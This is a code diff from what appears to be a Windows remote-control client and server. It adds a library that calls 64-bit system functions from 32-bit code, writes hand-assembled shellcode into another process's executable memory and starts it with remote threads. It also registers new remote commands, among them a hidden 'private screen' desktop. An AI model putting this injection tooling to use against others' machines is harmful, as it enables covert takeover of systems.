+			if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
+				return head.DllBase;
+		} while (head.InLoadOrderLinks.Flink != LastEntry);
+		return 0;
+	}
+
+	inline  DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
+	{
+		if (!hModule || !funcName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+#ifndef _WIN64
+		if (!NtWow64ReadVirtualMemory64) return 0;
+#endif
+
+		IMAGE_DOS_HEADER idh;
+		NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_NT_HEADERS64 inh;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+		if (!idd.VirtualAddress)return 0;
+
+		IMAGE_EXPORT_DIRECTORY ied;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		std::vector<DWORD> nameTable(ied.NumberOfNames);
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
+			std::string func(strlen(funcName), 0);
+			status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			if (func == funcName) {
+				WORD ord = 0;
+				status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				DWORD rva = 0;
+				status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				return hModule + rva;
+			}
+		}
+		return 0;
+	}
+
+	inline DWORD64 GetNtDll64()
+    {
+		static DWORD64 hNtdll64 = 0;
+		if(hNtdll64) return hNtdll64;
+		hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
+		return hNtdll64;
+	}
+
+	#ifdef _WIN64
+
+		#define SetLastError64       SetLastError
+		#define VirtualQueryEx64     VirtualQueryEx
+		#define VirtualAllocEx64     VirtualAllocEx
+		#define VirtualFreeEx64      VirtualFreeEx
+		#define VirtualProtectEx64   VirtualProtectEx
+		#define ReadProcessMemory64  ReadProcessMemory
+		#define WriteProcessMemory64 WriteProcessMemory
+		#define LoadLibrary64        LoadLibrary
+		#define CreateRemoteThread64 CreateRemoteThread
+
+	#else
+
+		namespace {
+			#define _(x) __asm __emit (x)
+			__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
+			{
+				// see X64Call_disassemble for details
+				_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
+				_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
+				_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
+				_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
+				_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
+				_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
+				_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
+				_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
+				_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
+				_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
+				_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
+				_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
+				_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
+				_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
+				_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
+				_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
+				_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
+				_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
+				_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
+				_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
+				_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
+				_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
+			}
+			#undef _
+		}
+
+		class X64Call
+		{
+	        template<typename char_t>
+	        struct StringHelper : detail::GCBase
+	        {
+	            StringHelper(const char_t* v) : name(0) {
+	                name = new _UNICODE_STRING_T<DWORD64>;
+	                name->Buffer = (DWORD64)v;
+	                name->Length = (WORD)tcslen(v) * sizeof(char_t);
+	                name->MaximumLength = name->Length;
+	            }
+	            virtual void gc() { delete name; }
+	            virtual DWORD64 toDWORD64() { return (DWORD64)name; }
+			private:
+	            _UNICODE_STRING_T<DWORD64>* name;
+	        };
+			template<typename T>
+			DWORD64 ToDWORD64(T v, detail::GCHelper*) {
+				return DWORD64(v);
+			}
+			template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
+			template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
+			template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
+			template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
+
+		private:
+			DWORD64 func;
+
+		public:
+			X64Call(const char* funcName)                 : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
+			X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName))       {}
+
+			operator DWORD64() { return func; }
+
+			DWORD64 operator()() { return func && x64Call(func, 0); }
+
+		#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
+		#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
+		#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
+		#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
+			CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
+			CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
+		#undef CALLERS
+		#undef END_TO_DWORD64_DECL
+		#undef TO_DWORD64_DECL
+		#undef __TO_DWORD64_DECL
+		};
+
+		inline VOID WINAPI SetLastError64(DWORD64 status)
+		{
+			typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
+			typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
+
+			static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
+			static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
+	    
+			if (RtlNtStatusToDosError && RtlSetLastWin32Error)
+				RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
+		}
+
+		inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
+		{
+			static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
+			if (!NtQueryVirtualMemory) return 0;
+
+			DWORD64 ret = 0;
+			DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
+			if (!status) return (SIZE_T)ret;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
+		{
+			static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
+			if (!NtAllocateVirtualMemory) return 0;
+
+			DWORD64 tmpAddr = lpAddress;
+			DWORD64 tmpSize = dwSize;
+			DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
+			if (!ret) return tmpAddr;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
+		{
+			static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
+			if (!NtFreeVirtualMemory) return 0;
+
+			DWORD64 tmpAddr = lpAddress;
+			DWORD64 tmpSize = dwSize;
+			DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
+			if (!ret) return TRUE;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
+		{
+			static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
+			if (!NtProtectVirtualMemory) return 0;
+
+			DWORD64 tmpAddr = lpAddress;
+			DWORD64 tmpSize = dwSize;
+			DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
+			if (!ret) return TRUE;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
+		{
+			static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
+			if (!NtReadVirtualMemory) return 0;
+
+			DWORD64 read = 0;
+			DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
+			if (!ret) {
+				if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
+				return TRUE;
+			}
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
+		{
+			static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
+			if (!NtWriteVirtualMemory) return 0;
+
+			DWORD64 written = 0;
+			DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
+			if (!ret) {
+				if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
+				return TRUE;
+			}
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
+											LPSECURITY_ATTRIBUTES lpThreadAttributes,
+											SIZE_T dwStackSize,
+											DWORD64 lpStartAddress,
+											DWORD64 lpParameter,
+											DWORD dwCreationFlags,
+											LPDWORD lpThreadId)
+		{
+			static X64Call RtlCreateUserThread("RtlCreateUserThread");
+			if (!RtlCreateUserThread) return 0;
+
+			BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
+			ULONG stackSize = dwStackSize;
+			DWORD64 handle = 0;
+			DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
+			if (!status) return (HANDLE)handle;
+
+			SetLastError64(status);
+			return NULL;
+		}
+
+	#endif
+
+	class ProcessWriter
+	{
+	public:
+		template<typename T>
+		ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
+			: _autoRelease(TRUE)
+			, _hProcess(hProcess)
+			, _dw64Address(0)
+			, _dwSize(dwSize)
+		{
+			if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
+				return;
+			SIZE_T written = 0;
+			if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
+				VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
+				_dw64Address = 0;
+			}
+		}
+		~ProcessWriter() {
+			if (_dw64Address && _autoRelease)
+				VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
+		}
+		void SetDontRelese() {
+			_autoRelease = FALSE;
+		}
+		operator DWORD64() {
+			return (DWORD64)_dw64Address;
+		}
+	#ifdef _WIN64
+		template<typename T>
+		operator T*() {
+			return (T*)_dw64Address;
+		}
+	#endif
+
+	private:
+		BOOL _autoRelease;
+		HANDLE _hProcess;
+	#ifdef _WIN64
+		LPVOID _dw64Address;
+	#else
+		DWORD64 _dw64Address;
+	#endif
+		SIZE_T _dwSize;
+	};
+
+	namespace {
+
+		std::string makeShellCode(int cnt, bool is64Bit)
+		{
+			if(is64Bit) {
+				// see X64Delegator_disassemble for details
+				static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83, 
+														   0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, 
+														   0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4, 
+														   0x20, 0x5b, 0xc3 };
+
+				std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
+				if(!cnt) return templ_x64;
+
+				templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
+				if(cnt >= 1)
+					templ_x64[16] = 0x3b;
+
+				if(cnt < 3) {
+					if(cnt >= 1) {
+						templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
+					}
+					if(cnt >= 2) {
+						templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
+					}
+				}
+				else {
+					templ_x64[20] = 0x49;
+					templ_x64[21] = 0x10;
+					templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
+					templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
+					templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
+					if(cnt >= 4) {
+						templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
+					}
+					if(cnt >= 5) {
+						templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
+						templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
+					}
+					if(cnt >= 6) {
+						templ_x64[21] = 0x38;
+						templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
+						templ_x64[50] = 0x28;
+						templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
+					}
+					// TODO
+				}
+				return templ_x64;
+			}
+			// see X86Delegator_disassemble for details
+			static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff, 
+													   0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
+													   0x8b, 0xe5, 0x5d, 0xc3 };
+			std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
+			// je distance
+			templ_x86[9] += cnt * 7;
+			templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
+			int pos = 13;
+			for(int i = 0; i < cnt; ++i) {
+				switch(i % 3) {
+					case 0:
+						templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
+						break;
+					case 1:
+						templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
+						break;
+					case 2:
+						templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
+						break;
+				}
+				templ_x86[pos + 2] = (cnt - i) << 2;
+				pos += 7;
+			}
+			switch(cnt % 3) {
+				case 0:
+					templ_x86[pos + 1] = 0x08;
+					break;
+				case 1:
+					templ_x86[pos + 1] = 0x02;
+					break;
+				case 2:
+					templ_x86[pos + 1] = 0x11;
+					break;
+			}
+			return templ_x86;
+		}
+
+		template<int argCnt, bool is64Bit>
+		const std::string& shellCode() {
+			static std::string kCode = makeShellCode(argCnt, is64Bit);
+			return kCode;
+		}
+
+	}
+
+	class YAPICall
+	{
+		template<typename T>
+		DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
+			return DWORD64(v);
+		}
+	    template<typename char_t>
+	    struct StringHelper : detail::GCBase
+	    {
+	        StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
+				name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
+	        }
+	        virtual void gc() { delete name; }
+	        virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
+		private:
+	        ProcessWriter* name;
+	    };
+		template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
+		template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
+		template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
+		template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
+
+	private:
+		HANDLE _hProcess;
+		ProcessWriter* _sc;
+		DWORD64 func;
+		BOOL _dw64Ret;
+		DWORD _dwTimeout;
+		BOOL _is64Bit;
+
+		template<int argCnt>
+		bool initShellCoder(ProcessWriter*& sc) {
+			if(sc) return false;
+			const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
+			sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
+			return true;
+		}
+
+		template<typename T>
+		DWORD64 call(const std::vector<T>& param) {
+			ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
+			if (!p) return -1;
+			HANDLE hThread = 0;
+			if (_is64Bit)
+				hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
+			else {
+#ifdef _WIN64
+				// see X64toX86_disassemble for details
+				static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48, 
+																  0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24, 
+																  0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 
+																  0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
+				std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
+				ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
+				sc->SetDontRelese();
+				hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
+#else
+				hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
+#endif
+			}
+			if (!hThread) return -1;
+			if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
+				_sc->SetDontRelese();
+				CloseHandle(hThread);
+				return -1;
+			}
+			if (!_is64Bit || !_dw64Ret) {
+				DWORD ret = 0;
+				GetExitCodeThread(hThread, &ret);
+				CloseHandle(hThread);
+				return ret;
+			}
+			DWORD64 ret = 0;
+			CloseHandle(hThread);
+			ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
+			return ret;
+		}
+
+	public:
+		YAPICall(HANDLE hProcess, const char* funcName)
+			: _hProcess(hProcess)
+			, _sc(0)
+			, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
+			, _dw64Ret(FALSE)
+			, _dwTimeout(INFINITE)
+			, _is64Bit(detail::is64BitOS)
+		{
+		}
+		YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
+			: _hProcess(hProcess)
+			, _sc(0)
+			, func(GetProcAddress64(hProcess, moudle, funcName))
+			, _dw64Ret(FALSE)
+			, _dwTimeout(INFINITE)
+			, _is64Bit(detail::is64BitOS)
+		{
+		}
+		YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
+			: _hProcess(hProcess)
+			, _sc(0)
+			, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
+			, _dw64Ret(FALSE)
+			, _dwTimeout(INFINITE)
+			, _is64Bit(detail::is64BitOS)
+		{
+			if(!func) {
+				func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
+				_is64Bit = FALSE;
+			}
+		}
+
+		~YAPICall() { if (_sc) delete _sc; }
+
+		operator DWORD64() { return func; }
+
+		YAPICall& Dw64() { _dw64Ret = TRUE; return *this;  }
+		YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
+
+	#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
+	#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
+
+	#define CALLERSX(n) \
+		DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
+			bool b = initShellCoder<n>(_sc);\
+			if(!b || !func || !_sc || !*_sc) return -1;\
+			detail::GCHelper helper;\
+			if(_is64Bit) {\
+				std::vector<DWORD64> param(n + 2, 0);\
+				param[0] = _dw64Ret;\
+				param[1] = func;\
+				REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
+				return call<DWORD64>(param);\
+			}\
+			std::vector<DWORD> param(n + 1, 0);\
+			param[0] = (DWORD)func;\
+			REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
+			return call<DWORD>(param);\
+		}
+	#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
+		CALLERSX( 0)
+		CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
+		CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
+	#undef CALLERSX
+	#undef CALLERS
+	#undef TO_DWORD_ARRAY_DECL
+	#undef TO_DWORD64_ARRAY_DECL
+	};
+
+	#define YAPI(h, m, f) YAPICall(h, m, #f)
+}

common/commands.h

@@ -321,6 +321,10 @@ enum {
     TOKEN_REPORT_ACTIVITY = 160,    // 客户端 → 服务端：上报历史活动
     
     COMMAND_CHAT = 161,             // 服务端 → 客户端：发起远程交谈（双向聊天）
+    COMMAND_MACHINE_MANAGE = 162,   // 服务端 → 客户端：打开主机管理对话框
+    COMMAND_FILE_MANAGER_PLUGIN = 163,   // 服务端 → 客户端：打开插件文件管理对话框（SimplePlugins 迁移）
+    COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端：打开隐私屏幕（虚拟桌面，SimplePlugins 迁移）
+    COMMAND_DRAWING_BOARD_PLUGIN = 165,  // 服务端 → 客户端：打开远程画板（SimplePlugins 迁移）
 
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表

server/2015Remote/2015RemoteDlg.cpp

@@ -671,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY);   // 历史活动
     m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND);           // 浏览窗口
     m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN);      // 代理端口-自启
+    m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER);       // 文件管理
+    m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD);     // 隐私屏幕
+    m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD);      // 远程画板
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -995,6 +998,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
     ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
     ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
+    ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
